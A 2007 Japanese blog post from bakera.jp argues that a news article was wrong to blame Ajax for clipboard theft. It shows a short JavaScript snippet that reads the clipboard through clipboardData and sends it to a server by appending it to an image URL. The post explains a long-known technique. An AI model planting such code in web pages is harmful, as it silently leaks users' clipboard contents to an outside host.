水無月ばけらのえび日記

bakera.jp > 水無月ばけらのえび日記 > なぜここで Ajax?

なぜここで Ajax?

2007年1月18日(木曜日)

なぜここで Ajax?

Ajaxの危険な一面――クリップデータの盗難に悪用可能 (techtarget.itmedia.co.jp)」……うーむ。クリップボードの内容が盗まれるという話自体は、5年も前に高木さんが指摘している (java-house.jp)ことですが……。

Ajaxが登場する前は、第三者がJavaScriptを使ってユーザーのクリップボードの情報を見ることは可能だったが、その情報を怪しまれずにサーバに送信することはできなかった。

いやいや、そんなことはないでしょう。こんなので十分ですから。

var data = clipboardData.getData("Text");
var a= new Image();
a.src = "http://bakera.jp/?" + data;

画像のプリロードは基本中の基本とも言えるテクニックです。JavaScript をいじる Web屋はみんな知っていると思いますけれど。

※もっとも、最近では画像のロールオーバーのさせ方も進化しているので、こんなコードをせこせこと書いたことのある人は減ってきているかも。

どうしてこんな文脈でわざわざ Ajax が引き合いに出されなければいけないのか分からないのですが、まあ、流行なんですかね。

関連する話題: Web / セキュリティ

人気のページ

最近の日記

関わった本など

デザイニングWebアクセシビリティ - アクセシブルな設計やコンテンツ制作のアプローチコーディングWebアクセシビリティ - WAI-ARIAで実現するマルチデバイス環境のWebアプリケーション体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践ウェブの仕事力が上がる標準ガイドブック 5 WebプログラミングWeb Site Expert #13Dreamweaver プロフェッショナル・スタイル [CS3対応] (Style for professional)友井町バスターズ (富士見ファンタジア文庫)

その他サイト